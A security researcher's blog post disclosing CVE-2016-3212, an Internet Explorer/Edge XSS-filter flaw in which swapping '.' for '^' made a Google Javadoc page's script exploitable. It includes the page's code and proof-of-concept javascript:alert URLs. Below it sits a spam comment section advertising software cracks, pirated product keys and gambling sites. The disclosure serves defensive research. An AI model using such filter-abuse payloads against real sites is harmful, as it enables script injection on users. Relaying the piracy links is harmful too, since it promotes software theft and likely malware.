In the past, I talked about XSS attacks exploiting IE XSS filter in CODE BLUE, which is an information security conference in Japan. A similar bug is fixed in June patch as CVE-2016-3212.
So, in this post, I would like to explain details of this bug.
As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the
So, in this post, I would like to explain details of this bug.
As described in my slides, applying the XSS filter rules to an irrelevant context, we can do XSS attacks using the filter behavior replacing the
. with the # even if the page does not have an XSS bug.
To prevent such attacks, Microsoft changed the filter behavior by December 2015 patch. After this patch, the
^ is used as the replacement character of the . instead of the #. Indeed, this can prevent attacks above. But it brought another nightmare. After several months, I confirmed an XSS using this behavior in Google's domain, and I got $3133.7 as rewards through Google VRP.Google sets
X-XSS-Protection: 1;mode=block header in almost their services. But not all. So, I checked carefully some pages which have no mode=block. As a result, I discovered that the vulnerable page exists in Javadoc on cloud.google.com.I put the approximate copy:
http://vulnerabledoma.in/xxn/xss_javadoc.html
This page becomes vulnerable to XSS when one
. is replaced with the ^ by the XSS filter.Can you find where it is?
The answer is the
. of the yellow part:<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">In the
<!-- NewPage -->
<html lang="en">
<head>
<title>javadoc</title>
<script type="text/javascript">
targetPage = "" + window.location.search;
if (targetPage != "" && targetPage != "undefined")
targetPage = targetPage.substring(1);
if (targetPage.indexOf(":") != -1 || (targetPage != "" && !validURL(targetPage)))
targetPage = "undefined";
function validURL(url) {
try {
url = decodeURIComponent(url);
}
catch (error) {
return false;
}
var pos = url.indexOf(".html");
if (pos == -1 || pos != url.length - 5)
return false;
var allowNumber = false;
var allowSep = false;
var seenDot = false;
for (var i = 0; i < url.length - 5; i++) {
var ch = url.charAt(i);
if ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
ch == '$' ||
ch == '_' ||
ch.charCodeAt(0) > 127) {
allowNumber = true;
allowSep = true;
} else if ('0' <= ch && ch <= '9'
|| ch == '-') {
if (!allowNumber)
return false;
} else if (ch == '/' || ch == '.') {
if (!allowSep)
return false;
allowNumber = false;
allowSep = false;
if (ch == '.')
seenDot = true;
if (ch == '/' && seenDot)
return false;
} else {
return false;
}
}
return true;
}
function loadFrames() {
if (targetPage != "" && targetPage != "undefined")
top.classFrame.location = top.targetPage;
}
</script>
</head>
<frameset cols="20%,80%" title="Documentation frame" onload="top.loadFrames()">
<frameset rows="30%,70%" title="Left frames" onload="top.loadFrames()">
<frame src="/" name="packageListFrame" title="All Packages">
<frame src="/" name="packageFrame" title="All classes and interfaces (except non-static nested types)">
</frameset>
<frame src="/" name="classFrame" title="Package, class and interface descriptions" scrolling="yes">
<noframes>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<h2>Frame Alert</h2>
<p>This document is designed to be viewed using the frames feature. If you see this message, you are using a non-frame-capable web client. Link to <a href="overview-summary.html">Non-frame version</a>.</p>
</noframes>
</frameset>
</html>
<script>, it checks whether the given string via location.search is safe.For example, the following unsafe URL is blocked:
http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)
Then, what will happen when the
. of the yellow part is replaced with the ^?Let's actually try it. If you put the following strings in the target URL, the page content is forcibly matched to XSS filter rules, and we can replace the aimed
. with the ^:
You can reproduce this bug from the following URL using IE/Edge which does not have June 2016 patch:
http://vulnerabledoma.in/xxn/xss_javadoc.html?javascript:alert(1)//"++++++++++++.i+++=
Also I put the replaced page for you who already applied the patch. You can confirm same behavior:
http://vulnerabledoma.in/xxn/xss_javadoc2.html?javascript:alert(document.domain)
A crucial difference from
# and ^, the # is not the operator in JavaScript, but the ^ is the operator. For example, if the a.b; is in the page and it is replaced with # and ^, a#b; is the syntax error but a^b; is valid syntax. It brings an XSS bug.
After June 2016 patch, when the XSS filter replaces the
., the mode=block behavior is enforced even if the page does not have X-XSS-Protection header.I was surprised and disgusted when the
^ is displayed but anyway it has finally calmed down!Also, in the recent patch(July 2016), it seems that Microsoft killed almost possibilities of XSS attacks exploiting XSS filter. I will write this details in next post :)
Thanks!
Đặt vé máy bay tại Aivivu, tham khảo
ReplyDeletesăn vé máy bay giá rẻ đi Mỹ
mua vé máy bay từ mỹ về việt nam hãng eva
bay từ anh về việt nam
bay từ pháp về việt nam
vé máy bay từ nhật bản về việt nam
Các chuyến bay từ Incheon về Hà Nội hôm nay
this code is amazing bug.thanks for sharing these information with all of us. Kinemaster Gold
ReplyDeleteHey, Action lover, do you want to play the most popular action game Nulls Brawl in your mobile, then try this out with unlimited money?
Delete188bet Review: What is the best bet of 2018? | ThTopBet
ReplyDelete188bet is カジノ シークレット a sports betting and betting company which has a 188bet long track record for delivering quality, high-quality betting opportunities for Rating: 5 planet win 365 · Review by TopBet.com
Useful information are very rare nowadays on web. I would like to thank the author who write and share this article with informative and useful information. for More Information Click Here:- Common Printer Problems
ReplyDeleteMicrosoft Office provides a wide range of productivity software products. After obtaining the product key, the user will be able to access all of the features and capabilities supplied by Microsoft by utilising the Microsoft Office 2007 Download.
ReplyDeleteMicrosoft Office 2007 Crack
Microsoft Office 2016 Crack
Microsoft Office 2019 Product Key
Microsoft Office 2010 Product Key
microsoft office 2011 crack product key
The wonderful software that is launch with all brand new features.
ReplyDeletemicrosoft office 365 free
office 2007 product Key
gsl biotech snapgene latest
amcap crack
ReplyDeleteMicrosoft office 2021
I am greatly thankful to the owner of this website to share this valuable information.Download Now
ReplyDeleteI appreciate you sharing your vast expertise with the rest of us. It's better if you generate a lot.
ReplyDeleteClick HERE
Decent data. I've bookmarked your site, and I'm adding your RSS channels to my Google record to get refreshes in a flash.
ReplyDeletemirillis action crack
dll files fixer crack
Hey, Good job i read your article thanks for sharing it I really appreciate your work visit my website
ReplyDeleteCrackslite
Studio One Pro Crack
Beyond Compare Crack
This is a fantastic site! Also, your website loads rapidly!
ReplyDeletehttps://licenselive.com/eset-nod32-antivirus-crack/
This is a great article.
ReplyDeletehttps://licenselive.com/traystatus-pro-crack/
igoal88 เครดิตฟรี gambling website that combines games and online betting no minimum bet
ReplyDeleteSome truly quality articles on this website , bookmarked . 바카라사이트
ReplyDeleteแทงบอลสเต็ป website online the best in the world
ReplyDelete
ReplyDeleteđại lý China Airlines hà nội
vé máy bay Eva Air có đổi được không
cách mua thêm hành lý ký gửi Japan Airlines
Tenorshare Reiboot Crack
ReplyDeleteTenorshare Reiboot Crack is use to build the Power switch for resolve issue.
Very informative and nice blog. Keep posting.
ReplyDeletebasement remodeling Abington MA
The phrase "xn caret" may refer to obscure or misspellings, while "XXN" might be an acronym or trademark. The caret (^) is used in typing and computing to indicate insertion points or exponentiation in programming languages.It’s crucial to ensure compliance with applicable laws to avoid potential liabilities.motorcycle accident attorney near me"
ReplyDeleteFantastic, Your blogs are excellent and very educational. Your posts provided me with a wealth of helpful information. It is excellent and beneficial to everyone. On the trip, we are aware of our destination and our current goalsbankrupty lawyers near me Our lawyers at The Law Offices Of Sris, P.C. have been providing professional guidance to clients in Virginia and Maryland for over 20 years.
ReplyDelete